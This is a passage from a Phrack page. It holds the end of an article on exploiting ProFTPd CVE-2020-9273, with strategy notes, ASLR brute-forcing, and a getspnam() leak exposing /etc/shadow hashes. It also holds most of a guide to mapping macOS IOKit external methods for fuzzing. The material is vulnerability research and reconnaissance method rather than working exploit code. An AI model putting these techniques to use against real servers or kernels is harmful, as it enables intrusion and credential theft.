structure within the same memory page and use a partial overwrite, building an exploitation strategy from there. The best option is to avoid using /proc/self/maps. First, ProFTPd is a program that implements many network functions. Therefore, it seems wasteful not to leverage its own code to gain control of execution, rather than injecting shellcode. Depending on the loaded modules, this method could be quite effective. There are a couple of aspects of this exploit that could be improved. Typically, an FTP service runs in a chrooted environment, so accessing other directories would not be possible. The following config is normally turned on production FTP environments: # To cause every FTP user to be "jailed" (chrooted) into their home # directory, uncomment this line. #DefaultRoot ~ Second, we should avoid relying on mod_copy to obtain the server's memory layout (even though, as mentioned above, downloading /proc/self/maps would be impossible if the server is chrooted, even with mod_copy loaded). It might be easier to find a leak on the stack than to brute-force the heap space. Also, the value of resp_pool is copied onto the stack, so we just need to find its offset (though there are many complications, such as locating a libc reference). It may also be possible to combine the libc stack with ProFTPd's. This may extend not only to the stack, but also to the heap, though guessing the location would be more difficult. Additionally, depending on compilation options, there may be stack canaries and other mitigations to bypass. Finally, since the FTP commands we send are executed by the server, there is a possibility of using other FTP commands to facilitate exploitation. Even though some commands check for an existing connection, some do not. --[ 8 - Notes on ProFTPd architecture ----[ 8.1 - fork() consequences There are some consequences of forking from the root process. One could read mod_auth_unix.c:502 and redirect error messages to the memory buffer used by getspnam(). The idea is to read the cryptograms from /etc/shadow. From Phrack 67/7: "In case of PIE, it would be feasible to brute force the randomisation as ProFTPD fork()s for each client connection. In order to make the most of ASLR, ProFTPD would have to fork+execve() itself, or be configured to use xinetd/inetd (which would probably be a significant performance problem on busy sites). Using fork+execve() would be the best approach as it would require least changes by the user except an update to ProFTPd." ----[ 8.2 - getspnam() underlying issues The function getspnam() and its re-entrant counterpart getspnam_r() do not clear the contents of allocated memory before returning to the user. Apparently, this behavior is intentional, likely as a caching mechanism. The problem is that ProFTPd does not wipe the libc heap, resulting in a leak of sensitive content. From my tests, it does not matter whether the developer uses getspnam_r(), which takes a user-controlled buffer, instead of getspnam(), because the function allocates its own buffer internally. Apparently, this buffer is shared among this family of functions, specifically, the `respbuf` that stores file contents. I consider this an info leak vulnerability. When ProFTPd starts, it forks from a privileged process and calls getspnam(). If there is an exploitable vulnerability in a program that uses these functions, the attacker could take advantage of this. Note that getspnam() is a wrapper around __getspnam_r(). libc should free() memory when the user explicitly says that he or she is done processing passwords, i.e. when invoking endspent(). I've created a thread in oss-security to discuss this with the community [12]. --[ 9 - Conclusion This was a very hard exploit. It is still not reliable at all. I hope this learning approach helps you become familiar with ProFTPd internals and gives you some insights on vulnerability exploitation. --[ 10 - References [01] http://www.proftpd.org/docs/faq/linked/faq-ch1.html [02] https://nvd.nist.gov/vuln/detail/CVE-2020-9273 [03] https://nvd.nist.gov/vuln/detail/CVE-2020-9272 [04] https://github.com/proftpd/proftpd/issues/903 [05] http://www.phreedom.org/research/exploits/proftpd-ascii/ [06] http://bugs.proftpd.org/show_bug.cgi?id=3521 [07] http://phrack.org/issues/67/7.html [08] http://bugs.proftpd.org/show_bug.cgi?id=3536 [09] http://bugs.proftpd.org/show_bug.cgi?id=3711 [10] http://bugs.proftpd.org/show_bug.cgi?id=4169 [11] https://www.reddit.com/r/netsec/comments/323z0j/ proftpd_unauthenticated_copying_of_files_via_site/ [12] https://seclists.org/oss-sec/2021/q3/119 --[ 11 - Source code Please find the exploit source code at https://github.com/ptef/CVE-2020-9273/blob/main/exploit_proftpd.c ]]> https://phrack.org/issues/72/mapping-iokit-methods-exposed-to-user-space-on-macos.html Tue, 19 Aug 2025 00:00:00 +0000 Karol Mazurek Phrack #72 phrack-72-9 |=------------------------------------------------------------------------=| |=-------=[ Mapping IOKit Methods Exposed to User Space on macOS ]=-------=| |=------------------------------------------------------------------------=| |=-----------------=[ Karol Mazurek (@karmaz95) of AFINE ]=---------------=| |=------------------------------------------------------------------------=| ================= --[ Table of contents ============================================================================ 0 - Introduction 1 - IOKit Interface Fundamentals 1.0 - Introduction to IOKit 1.1 - Registry 1.1.1 - Planes 1.1.2 - Services 1.1.3 - Driver 1.1.4 - Matching 1.1.5 - IOKit Personalities 1.1.6 - Service Instances 1.2 - User Clients 1.2.1 - Multiple User Clients per Service 1.2.2 - External Methods 1.2.3 - Dispatch Mechanism 1.2.4 - getTargetAndMethodForIndex 1.2.5 - Access Control 1.3 - User Space App 1.3.1 - Service Discovery 1.3.2 - Spawning User Client 1.3.3 - Calling External Method 1.4 - User Space Application Flow 2 - IOKit Reconnaissance 2.0 - What to Map 2.1 - KEXT Analysis 2.1.1 - Bundle Names 2.1.2 - Driver Names 2.1.3 - NewUserClients 2.1.4 - UC Types 2.1.5 - External Methods 2.1.6 - Arguments 2.2 - Runtime Enumeration 2.2.1 - Service Discovery Automation 2.2.2 - Driver Hooking in Kernel Space 2.2.3 - Driver Hooking in User Space 2.2.4 - Corpus 2.2.5 - Tracer 2.3 - Map Verification 3 - Conclusion 4 - Acknowledgements 5 - References ============================================================================ ============ --[ 0 - Introduction ============================================================================ IOKit is the core framework macOS uses for communication between user space and the kernel, exposing numerous driver interfaces. Despite ongoing efforts to harden the platform, IOKit continues to be a frequent source of vulnerabilities. Identifying which methods are accessible from user space is a first step for vulnerability research in this area. It enables the accurate enumeration of all available endpoints, ensuring complete coverage during fuzz testing. This article outlines a structured methodology for mapping the IOKit external methods exposed to user space. By employing a combination of static analysis and runtime enumeration, we can identify accessible interfaces, pinpoint potential attack vectors, and establish a solid foundation for effective fuzzing. Our goal is to enhance the precision and effectiveness of IOKit vulnerability research. This guide focuses solely on "external methods," but it is important to note that IOKit drivers also provide other communication channels, such as: - Properties: For reading and writing driver configuration values - Notifications: For receiving asynchronous events from the driver - Shared memory: For efficient large data transfers - External traps: A legacy method (use external methods instead) - Shared Data Queue: For bidirectional queued data transfer - IOStream: For continuous data streaming While this guide does not cover these additional channels, familiarizing yourself with the material presented here will help improve your understanding of them. ============================ --[ 1 - IOKit Interface Fundamentals ============================================================================ The first part of the guide teaches about the main components of the IOKit. It introduces IOKit kernel space components and how to interact with them from User Space. ===================== --[ 1.0 - Introduction to IOKit ============================================================================ IOKit is a framework in macOS that allows user-space applications to interact with hardware devices, forming part of the XNU kernel. It provides C++ classes and APIs for device drivers, abstracting hardware for easier management. The framework is documented extensively in Apple's IOKit Fundamentals[0]. ======== --[ 1.1 - Registry ============================================================================ Apple's IOKit maintains an IORegistry[1] of all devices in the system, organized as a tree structure. Each node (I/O Service instance) in this tree represents a device, driver, or attachment point, and the relationships between nodes reflect how devices are physically or logically connected. Here is an example of device family tree where a Mac machine has a USB port, a USB hub is connected to that port, and both a keyboard and mouse are plugged into the hub: ```````````````````````````````````````````````````````````````````````````` [Mac] | +-- [USB Port] | +-- [USB Hub] | +-- Keyboard +-- Mouse ```````````````````````````````````````````````````````````````````````````` Each item ("Mac", "USB Port", etc.) is an IORegistryEntry[2] object (or an object derived from IORegistryEntry), forming the hierarchical structure of the IORegistry. ====== --[ 1.1.1 - Planes ============================================================================ IOKit's IORegistry organizes all services in a tree structure that can be viewed through different "planes". Each plane[3] represents a distinct type of relationship or hierarchy among the same set of objects. The previous example of the USB family tree illustrates the Service plane. It should be the primary plane for mapping the attack surface in IOKit during vulnerability research, as it serves as the root plane. Focusing on other planes may result in missing services. ======== --[ 1.1.2 - Services ============================================================================ The IOService[4] is the base class for all drivers in IOKit, representing hardware devices, virtual devices, or kernel-only system services. These services operate with full kernel privileges and direct hardware access. User space applications cannot directly instantiate, access, or call methods on I/O service objects. ====== --[ 1.1.3 - Driver ============================================================================ Drivers are classes that inherit from superclasses, all ultimately deriving from the IOService class. For example, MyUSBDriver inherits from IOService, allowing dynamic interaction with it as an IOService object: ```````````````````````````````````````````````````````````````````````````` class MyUSBDriver : public IOService { public: virtual bool init(OSDictionary *dictionary = NULL) override; virtual bool start(IOService *provider) override; virtual void stop(IOService *provider) override; IOReturn sendCommand(uint8_t cmd, uint32_t value); private: IOUSBDevice *fDevice; }; ```````````````````````````````````````````````````````````````````````````` The key methods (init, start, stop) are lifecycle hooks invoked by IOKit as the driver is loaded, initialized, and terminated. Drivers on macOS are Kernel Extensions (KEXTS[5]). The driver is activated using OSKext::start()[6]. In real life, USB drivers are often a subclass of IOUSBDevice or IOUSBInterface, not directly an IOService. The provider parameter in start() is a pointer to the parent object in the IORegistry tree (often a device nub such as IOUSBDevice). The fDevice is a reference to the hardware device or logical service the driver manages. ======== --[ 1.1.4 - Matching ============================================================================ Matching in IOKit refers to the process of finding and loading the appropriate driver for a detected device or service. When a new device, such as a USB device, is detected, IOKit creates a nub (for example, an IOUSBDevice object) in the IORegistry. IOKit then searches for drivers whose matching dictionaries (IOKitPersonalities[7]) specify compatibility with the nub, using a three-phase process:  Class matching : eliminates drivers whose IOProviderClass[8] does not match the nub's class Passive matching : checks the remaining drivers' personalities for properties in KEXT Info.plist (e.g., vendor, product ID) to further narrow the candidates. Active matching : for each remaining candidate, it calls the driver's  probe()[9] method to verify compatibility and assign a score actively.  ```````````````````````````````````````````````````````````````````````````` [IORegistryEntry] (base class)    |    +-- [IOService] (abstract service/driver class)          |          +-- [IOUSBDevice] (nub created for the USB device)                |                +-- [MyUSBDriver] (driver matched and attached to the device) ```````````````````````````````````````````````````````````````````````````` The driver with the highest score is started and attached to the nub, forming the provider-client relationship in the IORegistry tree. =================== --[ 1.1.5 - IOKit Personalities ============================================================================ The most important for us is that we can use the matching APIs to find the services we want to enumerate or fuzz — more on that in "1.3.1". Yet, to do that, we need to know the name under which the service is registered in the IORegistry. These can be found in IOKitPersonalities. Each key is a potential service name, for instance, under IOClass or IOProviderClass: ```````````````````````````````````````````````````````````````````````````` <key>IOKitPersonalities</key> <dict>     <key>MyUSBDriver</key>     <dict>         <key>CFBundleIdentifier</key>         <string>com.example.driver.MyUSBDriver</string>         <key>IOClass</key>         <string>MyUSBDriver</string>         <key>IOProviderClass</key>         <string>IOUSBDevice</string>         <key>idVendor</key>         <integer>0x05AC</integer>         <key>idProduct</key>         <integer>0x1234</integer>     </dict> </dict> ```````````````````````````````````````````````````````````````````````````` A single driver can have multiple personalities, enabling support for different device types or hardware variants without needing separate drivers. ================= --[ 1.1.6 - Service Instances ============================================================================ Not all IOKit personality entries result in instantiated services. A personality defined in a driver's Info.plist will only be matched and loaded if the hardware or software conditions are met. For example, on a Mac mini without an external monitor, any display-related personalities will not be matched, and the corresponding services will not appear in the IORegistry. It's also common for a single driver to have multiple instantiated services when the associated hardware appears more than once, such as with multiple monitors or input devices. Tools like ioscan[10] can be used to list all instantiated services and often reveal multiple entries with the same service name, such as IOThunderboltPort or IONetworkStack: ```````````````````````````````````````````````````````````````````````````` IOThunderboltPort IOThunderboltSwitchType5 IOThunderboltPort IONetworkStack ```````````````````````````````````````````````````````````````````````````` To interact with or fuzz a driver, at least one instance of the corresponding service must be active in the IORegistry, allowing access to the driver's code. It is discussed further in section "2.1.2". ============ --[ 1.2 - User Clients ============================================================================ The IOUserClient[11] is a subclass of IOService that serves as a secure bridge between user-space applications and kernel I/O service objects. It does not interact with hardware directly but provides a controlled interface for safe communication with kernel services. IOUserClient objects serve as security gatekeepers, running in kernel space and handling requests from unprivileged user-space applications. They validate input, enforce access controls, and sanitize data before passing it to services. The core logic is implemented in newUserClient[12] functions. ================================= --[ 1.2.1 - Multiple User Clients per Service ============================================================================ A single Service can have multiple User Clients registered. They can expose different interfaces to the same underlying Service. Each User Client type has a unique numeric identifier (uint32_t). Applications specify which User Client type they want when connecting with IOServiceOpen()[13]. Type 0 is typically the default/primary interface. ================ --[ 1.2.2 - External Methods ============================================================================ The externalMethod[14] within the User Client handles incoming IOConnectCallMethod[15] requests from the user-space app. It validates that the selector is within bounds and argument sizes. Based on the selector value, it routes them to appropriate handler functions. These are the final endpoints where core logic and most of the vulnerabilities lie. ================== --[ 1.2.3 - Dispatch Mechanism ============================================================================ At WWDC22, the validation portion of the external method was moved to a new "2022" dispatchExternalMethod, which serves as a wrapper around the method array (sIOExternalMethodArray): ```````````````````````````````````````````````````````````````````````````` IOReturn AppleJPEGDriverUserClient::externalMethod( IOUserClient* userClient, // this user client instance uint32_t selector, // method id from user space IOExternalMethodArguments* arguments // I/O parameters from user space ) { return IOUserClient2022::dispatchExternalMethod( userClient, // the user client object selector, // which method to call (0-9) arguments, // parameters from user space &sIOExternalMethodArray, // dispatch table with 10 methods 10, // number of methods in table userClient, // target object for method calls 0 // additional flags/options ); } ```````````````````````````````````````````````````````````````````````````` The dispatchExternalMethod()[16] validates the selector is within bounds, calculates the dispatch table entry at methodArray[selector], checks arguments sizes (I/O scalars and structs), optionally validates entitlements for privileged operations, and finally, call the target handler function if all checks pass. ========================== --[ 1.2.4 - getTargetAndMethodForIndex ============================================================================ Although many UserClient::externalMethods were rewritten to include IOUserClient2022::dispatchExternalMethods, there is still a significant amount of code that follows the old method[17]. There are also getTargetAndMethodForIndex[18]. Drivers using the old way are more prone to misuse or missing validation. ============== --[ 1.2.5 - Access Control ============================================================================ The same selector can mean different things in different User Clients: ```````````````````````````````````````````````````````````````````````````` IOService "MyDevice" |- IOUserClient Type 0 (standard interface) | |- Selector 0: GetStatus | `- Selector 1: SetConfig `- IOUserClient Type 1 (admin interface) |- Selector 0: FactoryReset `- Selector 1: UpdateFirmware ```````````````````````````````````````````````````````````````````````````` This design provides both functional separation and security boundaries - unprivileged apps receive limited user clients, while privileged ones receive full-featured ones. The entitlements[19] embedded in the application's code signature[20] define access to these interfaces. ============== --[ 1.3 - User Space App ============================================================================ User-space applications can be sandboxed, restricting their access to IOKit even if they possess the necessary entitlements. Sandboxed apps are generally restricted from performing sensitive operations, such as opening hardware service connections or modifying properties. On macOS Sequoia, the Sandbox Operations affecting IOKit access include[21]: - "iokit*" - "iokit-get-properties" - "iokit-issue-extension" - "iokit-open*" - "iokit-open-user-client" - "iokit-open-service" - "iokit-set-properties" The key permission required for a sandboxed app to use IOConnectCallMethod is "iokit-open-user-client." Note that unsandboxed malware does not have such restrictions, and the remainder of the article discusses the context of an unsandboxed app. ================= --[ 1.3.1 - Service Discovery ============================================================================ User space applications can use matching dictionaries to find services based on properties like IOProviderClass, IONameMatch[22], or custom attributes. IOServiceGetMatchingServices()[23] searches the registry and returns matching IOService objects: ```````````````````````````````````````````````````````````````````````````` CFDictionaryRef matching = IOServiceMatching("IOService"); result = IOServiceGetMatchingServices(masterPort, matching, &iterator); ```````````````````````````````````````````````````````````````````````````` However, this method iterates only over the root services that directly inherit from the IOService class. To explore deeper into the hierarchy and access all services, use a recursive iterator: ```````````````````````````````````````````````````````````````````````````` io_iterator_t iter; io_service_t service_ref; // Create an iterator for the IOService plane, recursively const kern_return_t kr = IORegistryCreateIterator( kIOMainPortDefault, kIOServicePlane, kIORegistryIterateRecursively, &iter ); // Iterate over every service in the plane while ((service_ref = IOIteratorNext(iter)) != MACH_PORT_NULL) { ```````````````````````````````````````````````````````````````````````````` Let's say we want to find driver named "NS_01", we can use IORegistryEntryGetName[24]: ```````````````````````````````````````````````````````````````````````````` char name_buf[128]; if (IORegistryEntryGetName(service_ref, name_buf) == KERN_SUCCESS) { if (strcmp(name_buf, "NS_01") == 0) { // Found target service - use service_ref for IOServiceOpen() found_service_ref = service_ref; break; } } IOObjectRelease(service_ref); } ```````````````````````````````````````````````````````````````````````````` This provides a service handle ready for communication. ==================== --[ 1.3.2 - Spawning User Client ============================================================================ Once a target service is located, we can use IOServiceOpen()[25] to create an IOUserClient instance for communication: ```````````````````````````````````````````````````````````````````````````` io_connect_t connection; kern_return_t result = IOServiceOpen( found_service_ref, // service from discovery mach_task_self(), // current task 0, // user client type &connection // returned connection handle ); ```````````````````````````````````````````````````````````````````````````` The service validates the request and instantiates the appropriate IOUserClient subclass, returning a connection handle for method calls. On the kernel side, this is handled by SERVICE_NAME::newUserClient functions. ======================= --[ 1.3.3 - Calling External Method ============================================================================ Finally, we can use IOConnectCallMethod() to invoke the functionality we want through the established connection. Although there is no direct kernel memory access, this exposure can still introduce vulnerabilities that may lead to kernel code execution[26]. ```````````````````````````````````````````````````````````````````````````` uint64_t input_scalar = 0x1234; uint64_t output_scalar = 0; uint32_t output_count = 1; result = IOConnectCallMethod( connection, // connection handle 5, // selector (method index) &input_scalar, // scalar inputs 1, // scalar input count NULL, // struct input buffer 0, // struct input size &output_scalar, // scalar outputs &output_count, // scalar output count NULL, // struct output buffer NULL // struct output size ); ```````````````````````````````````````````````````````````````````````````` The output from the external method, if any, is received through the structure of the output buffer and scalar outputs, while the status code is stored in the result. It's important to note that IOConnectCallMethod is the most commonly used function; however, there are other similar methods, all of which begin with IOConnectCall*[27]. =========================== --[ 1.4 - User Space Application Flow ============================================================================ ```````````````````````````````````````````````````````````````````````````` Service Discovery | v +-------------------+ IOServiceMatching() | Matching Dict |---> IOServiceGetMatchingServices() | "DriverName" | or IORegistryCreateIterator() +-------------------+ | v +-------------------+ IOIteratorNext() | Service Iterator |---> IORegistryEntryGetName() | Loop through all | strcmp(name, "target") +-------------------+ | v Connection Establishment | v +-------------------+ IOServiceOpen() | io_service_t |---> Creates IOUserClient | (Service Handle) | Returns io_connect_t +-------------------+ | v Method Invocation | v +-------------------+ IOConnectCallMethod() | io_connect_t |---> Selector + Arguments | Connection Handle | Routed to externalMethod() +-------------------+ User App --> I/O Registry --> IOService --> IOUserClient | ^ ^ | | | | | +-- Discovery --+ +-- Bridge ----+ | | +------------- IOConnectCallMethod ---------------+ ```````````````````````````````````````````````````````````````````````````` =================== --[ 2 - IOKit Reconeiscance ============================================================================ The second part of the guide shows how to map the attack surface properly to have a complete picture of External Methods exposed from Kernel Space to User Space. =========== --[ 2.0 - What to Map ============================================================================ We need data from IOKit drivers, which enable targeted fuzzing and facilitate faster crash analysis. The result of this entire process should include a structured YAML (or your preferred format) file and a corpus directory with binary files for IOConnectCallMethod. Fields of interests: - Bundle Names     : Kext identifiers containing the driver code. Example: com.apple.iokit.IOAVBFamily - Driver Names : IORegistry service names, so we can match them before using IOServiceOpen. Example: IOAVBNub - NewUserClients   : Methods that handle new user client creation. Example: IOAVBNub::newUserClient - Types            : Valid `type` values for IOServiceOpen. - External Methods : externalMethod selectors exposed by each user client. - Arguments        : Valid scalar and struct sizes for input/output. - Endpoints        : Selector IDs per UC, each mapped to argument sizes. - Corpus           : Binary samples for inputStruct used by the system or known to be valid. Each driver maps to its connection types, which map to selector IDs with their argument layout: ````````````````````````````````````````````````````````````````````````````   DriverName:     TypeValue:       SELECTOR_ID: [INPUT_SCALAR_CNT, INPUT_STRUCT_SIZE, OUTPUT_SCALAR_CNT, OUTPUT_STRUCT_SIZE] ```````````````````````````````````````````````````````````````````````````` Example YAML Output Format: ```````````````````````````````````````````````````````````````````````````` AFKEndpointInterface:      # AFKEPInterfaceKextV2::newUserClient 1768910955:    # AFKEndpointInterfaceUserClient::externalMethod 0: [2, 10, 16, 10] # extOpenMethod 1: [1, 10, 1, 10] # extCloseMethod 2: [7, 0, 0, 0] # extEnqueueCommandMethod ... ```````````````````````````````````````````````````````````````````````````` Corpus Directory Layout: Each selector gets a directory containing valid binary payloads. These can be passed directly into IOConnectCallMethod as inputStruct payloads. ```````````````````````````````````````````````````````````````````````````` AFKEndpointInterface/1768910955 |- 0/ | `- corpus_0.bin |- 1/ | `- corpus_0.bin `- ... ```````````````````````````````````````````````````````````````````````````` This is a suggested structure for the IOKit MAP. Feel free to organize the data as you like; it’s just how I categorize information for my fuzzer. ============= --[ 2.1 - KEXT Analysis ============================================================================ Kernel extensions (KEXTs) are loaded into a kernel cache. Their source directories are in: /System/Library/Extensions. To get the actual binaries, decompress the kernel cache: ```````````````````````````````````````````````````````````````````````````` ipsw kernel dec $(ls /System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple.kernelcache s/kernelcache) -o kernelcache ```````````````````````````````````````````````````````````````````````````` Then extract all KEXTs from the decompressed kernel cache: ```````````````````````````````````````````````````````````````````````````` ipsw kernel extract $(kernelcache.decompressed) --all ```````````````````````````````````````````````````````````````````````````` Alternatively, download the latest IPSW manually: ```````````````````````````````````````````````````````````````````````````` ipsw dl appledb --os macOS --latest --kernel ```````````````````````````````````````````````````````````````````````````` Then extract KEXTs as before: ```````````````````````````````````````````````````````````````````````````` ipsw kernel extract kernelcache.release.* --all ```````````````````````````````````````````````````````````````````````````` Each KEXT includes an Info.plist file, which helps with mapping. Unlike binaries, these files are found at: ```````````````````````````````````````````````````````````````````````````` /System/Library/Extensions/KEXT_BUNDLE_NAME/Contents/Info.plist ```````````````````````````````````````````````````````````````````````````` For more, see: "Kernel Extensions on macOS"[28] (not required to follow the rest of this paper). ============ --[ 2.1.1 - Bundle Names ============================================================================ We need these names, because they represent binaries. Having all binaries ensures we won't miss any exposed external methods. There are many KEXTs, but we are only interested in drivers. These typically contain "driver" or "iokit" in their bundle names. To list them from the extracted kernel cache (Sequoia returns 304 names): ```````````````````````````````````````````````````````````````````````````` /bin/ls -1 kernelcache/System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple. kernelcaches/ | grep ".iokit.\|.driver." ... com.apple.driver.AppleALSColorSensor com.apple.driver.AppleANELoadBalancer com.apple.driver.AppleAOPAudio ... com.apple.iokit.IOStreamFamily com.apple.iokit.IOSurface com.apple.iokit.IOThunderboltFamily ... ```````````````````````````````````````````````````````````````````````````` Another method is to use kextstat, but it only displays currently loaded KEXTs. On Sequoia 15.4.1, this returns 220 entries: ```````````````````````````````````````````````````````````````````````````` kextstat | grep ".iokit.\|driver" | awk '{print $6}' ... com.apple.iokit.IOGraphicsFamily com.apple.driver.DiskImages com.apple.iokit.IOKitRegistryCompatibility ... ```````````````````````````````````````````````````````````````````````````` To get the complete list, use the first method. ============ --[ 2.1.2 - Driver Names ============================================================================ To interact with a driver using IOServiceOpen, we must know the name of an instantiated IOService object it creates. These names typically come from the IOKitPersonalities section of the driver's Info.plist, where each key or value under fields like IOClass, IOProviderClass, IOName, or IONameMatch can indicate a potential service name. To enumerate all potential service names defined in the Info.plist, the following command extracts relevant fields: ```````````````````````````````````````````````````````````````````````````` plutil -convert json -o - /System/Library/Extensions/KEXT_NAME/Contents/Info.plist \ | jq -r ' .IOKitPersonalities | to_entries[] | [ .key, .value.IOClass, .value.IOProviderClass, .value.IONameMatch, .value.IOName ] | flatten | .[] | select(. != null) ' | sort -u ```````````````````````````````````````````````````````````````````````````` However, not all services declared in the Info.plist are instantiated at runtime. Matching only occurs if the system satisfies the personality's conditions — such as the presence of specific hardware. Conversely, not all instantiated services are declared in the Info.plist. Some are created programmatically within the KEXT via calls like registerService[29], or by overriding probe or start methods to instantiate custom service classes without corresponding plist entries. ============== --[ 2.1.3 - NewUserClients ============================================================================ Another way to identify driver service names is by analyzing IOService::newUserClient overrides in the KEXT binary. This method creates IOUserClient instances, which handle communication with user space via IOServiceOpen. To find them, use ipsw[30]: ```````````````````````````````````````````````````````````````````````````` ipsw macho info --symbols KEXT_NAME | grep -i "NewUserClient" ```````````````````````````````````````````````````````````````````````````` Alternatively, nm may work, but it can fail on some KEXTs: ```````````````````````````````````````````````````````````````````````````` nm -m KEXT_NAME | grep -i "NewUserClient" ```````````````````````````````````````````````````````````````````````````` The results are mangled symbols, for example: ```````````````````````````````````````````````````````````````````````````` __ZN14ANEClientHints13newUserClientEP4taskPvjPP12IOUserClient __ZN21ANEPrivilegedVMAccess13newUserClientEP4taskPvjPP12IOUserClient __ZN8H11ANEIn13newUserClientEP4taskPvjPP12IOUserClient ```````````````````````````````````````````````````````````````````````````` Use c++filt[31] to demangle: ```````````````````````````````````````````````````````````````````````````` c++filt "__ZN14ANEClientHints13newUserClientEP4taskPvjPP12IOUserClient" ANEClientHints::newUserClient(task*, void*, unsigned int, IOUserClient**) ```````````````````````````````````````````````````````````````````````````` This reveals possible driver service names: ANEClientHints, ANEPrivilegedVMAccess, and H11ANEIn. Each name maps to a different IOService class, which may implement unique newUserClient logic. The name used during IOServiceOpen determines which logic and IOUserClient subclass gets instantiated, so instance behavior depends directly on the selected service. ======== --[ 2.1.4 - UC Types ============================================================================ In addition to the service name, the type argument passed to IOServiceOpen further influences which IOUserClient subclass is instantiated. It allows a single-driver service to expose multiple client interfaces with different logic. Consider the decompiled H11ANEIn::newUserClient implementation, which shows that when opening the H11ANEIn service, passing type == 1 results in the creation of H11ANEInDirectPathClient, while any other value defaults to H11ANEInUserClient. These are distinct IOUserClient subclasses, each with its own set of external methods and privilege checks. ```````````````````````````````````````````````````````````````````````````` __int64 __fastcall H11ANEIn::newUserClient( H11ANEIn *this, task *clientTask, void *securityToken, __int64 type, IOUserClient **userClientOut) {   *userClientOut = nullptr;   if (type == 1) {     // Logs: Creating direct evaluate client     auto client = new H11ANEInDirectPathClient;     if (client && client->initWithTask(clientTask, 0) &&         client->attach(this) &&         client->start(this)) {       *userClientOut = client;       return 0;     }     if (client) {       client->detach(this);       client->release();     }   } else {     // Logs: Creating default full-entitlement client     auto client = new H11ANEInUserClient;     if (client && client->initWithTask(clientTask, 0) &&         client->attach(this) &&         client->start(this)) {       *userClientOut = client;       return 0;     }     if (client) {       client->detach(this);       client->release();     }   }   return 0xE00002C9; // kIOReturnUnsupported } ```````````````````````````````````````````````````````````````````````````` Thus, not only does the selected service name determine which newUserClient logic is triggered, but the type parameter allows additional branching within that logic. It is commonly used to expose limited or privileged functionality through different user-client implementations.  Automating type enumeration through dynamic analysis is often impossible, as the logic is frequently structured to return the same kernel code for both valid and invalid types. To ensure we map all possible types, we must reverse these NewUserClients and verify them by hand. ================ --[ 2.1.5 - External Methods ============================================================================ For each previously identified IOUserClient subclass, we can extract user-accessible methods by locating either externalMethod or getTargetAndMethodForIndex. These functions define how the driver dispatches incoming method calls from user space. To locate them, I use IDA and search for symbol names like H11ANEInDirectPathClient::externalMethod. It can also be done in the terminal: ```````````````````````````````````````````````````````````````````````````` ipsw macho info --symbols KEXT_NAME | grep "externalMethod\|getTargetAndMethodForIndex" ```````````````````````````````````````````````````````````````````````````` Based on the previous example, this would yield: ```````````````````````````````````````````````````````````````````````````` 0xfffffe0009a796c0: H11ANEInUserClient::externalMethod(unsigned int, IOExternalMethodArgumentsOpaque*) 0xfffffe0009a788a0: H11ANEInDirectPathClient::externalMethod(unsigned int, IOExternalMethodArgumentsOpaque*) ```````````````````````````````````````````````````````````````````````````` As discussed in Part 1, there are several common dispatch patterns, but ultimately, most of them rely on a method array and a fixed number of entries. In our case, the decompiled dispatcher looks like this: ```````````````````````````````````````````````````````````````````````````` IOReturn H11ANEInUserClient::externalMethod( uint32_t selector, IOExternalMethodArguments *args) { return IOUserClient2022::dispatchExternalMethod( selector, args, &H11ANEInUserClient::sMethods, 0x32, // Number of supported methods this, nullptr ); } ```````````````````````````````````````````````````````````````````````````` We're specifically interested in H11ANEInUserClient::sMethods, which is the method dispatch table. The symbol name for this array may vary, so manual inspection is required. If you know the symbol name, you can locate it with: ```````````````````````````````````````````````````````````````````````````` ipsw macho info --symbols KEXT_NAME | grep "sMethods" 0xfffffe0007f57b78: __ZN18H11ANEInUserClient8sMethodsE 0xfffffe0007f57a10: __ZN24H11ANEInDirectPathClient8sMethodsE ```````````````````````````````````````````````````````````````````````````` This tells us the dispatch table for H11ANEInUserClient is at 0xfffffe0007f57b78, and it contains 0x32 method entries. To parse the table correctly, we must know the size of each entry, which depends on the dispatcher used. After reversing all macOS drivers I found these possible dispatchers and sizes: ```````````````````````````````````````````````````````````````````````````` IOExternalMethodDispatch2022 == 0x28 IOExternalMethodDispatch == 0x18 getTargetAndMethodForIndex == 0x30 Custom == ??? ```````````````````````````````````````````````````````````````````````````` Note that some custom implementations require manual handling. With this information, we can iterate over the array and identify each method. In IDA, double-clicking works. In other tools, manually add the entry size to the base address: ```````````````````````````````````````````````````````````````````````````` Method 0 == 0xfffffe0007f57b78 + 0x28 Method 1 == 0xfffffe0007f57b78 + (0x28 * 2) ... Method 49 == 0xfffffe0007f57b78 + (0x28 * 0x31) ```````````````````````````````````````````````````````````````````````````` By doing this, we can find the addresses of all functions exposed to user space for IOConnectCallMethod(), as well as the selectors to use for calling them. The final question is, what arguments do they expect? ========= --[ 2.1.6 - Arguments ============================================================================ Even with the correct driver name, service matching, user client type, and external method selector, calls can still fail due to argument size validation. Most functions validate sizes to prevent buffer overflows (though some historically lacked this protection). IOConnectCallMethod() expects these arguments: ```````````````````````````````````````````````````````````````````````````` kern_return_t IOConnectCallMethod( mach_port_t connection, // Connection handler from IOServiceOpen uint32_t selector, // Method index on user client const uint64_t *input, // Scalar input parameters array uint32_t inputCnt, // Number of scalar inputs const void *inputStruct, // Structured input data buffer size_t inputStructCnt, // Size of inputStruct buffer uint64_t *output, // Scalar output values array uint32_t *outputCnt, // Max/actual elements in output void *outputStruct, // Structured output data buffer size_t *outputStructCnt // Max/actual size of outputStruct ); ```````````````````````````````````````````````````````````````````````````` Invalid sizes for inputCnt, inputStructCnt, outputCnt, or outputStructCnt will cause verification failure and dropped calls. Only with valid sizes are input and inputStruct values passed to the target function. Without knowing these values, testing is impossible. Automation is impractical due to (2^32-1)^4 = ~3.4*10^38 possibilities, and identical error codes make brute force ineffective. Manual analysis is required. Valid sizes are found in dispatch tables, which appear complex in disassemblers: ```````````````````````````````````````````````````````````````````````````` __const:FFFFFE0007F57BC8 DCQ __ZN18H11ANEInUserClient23_ANE_ProgramSendRequestE... ; H11ANEInUserClient::_ANE_ProgramSendRequest(...) __const:FFFFFE0007F57BD0 DCB 1 ; inputCnt __const:FFFFFE0007F57BD1 DCB 0 __const:FFFFFE0007F57BD2 DCB 0 __const:FFFFFE0007F57BD3 DCB 0 __const:FFFFFE0007F57BD4 DCB 0x48 ; inputStructCnt (72 bytes) __const:FFFFFE0007F57BD5 DCB 9 __const:FFFFFE0007F57BD6 DCB 0 __const:FFFFFE0007F57BD7 DCB 0 __const:FFFFFE0007F57BD8 DCB 0 ; outputCnt 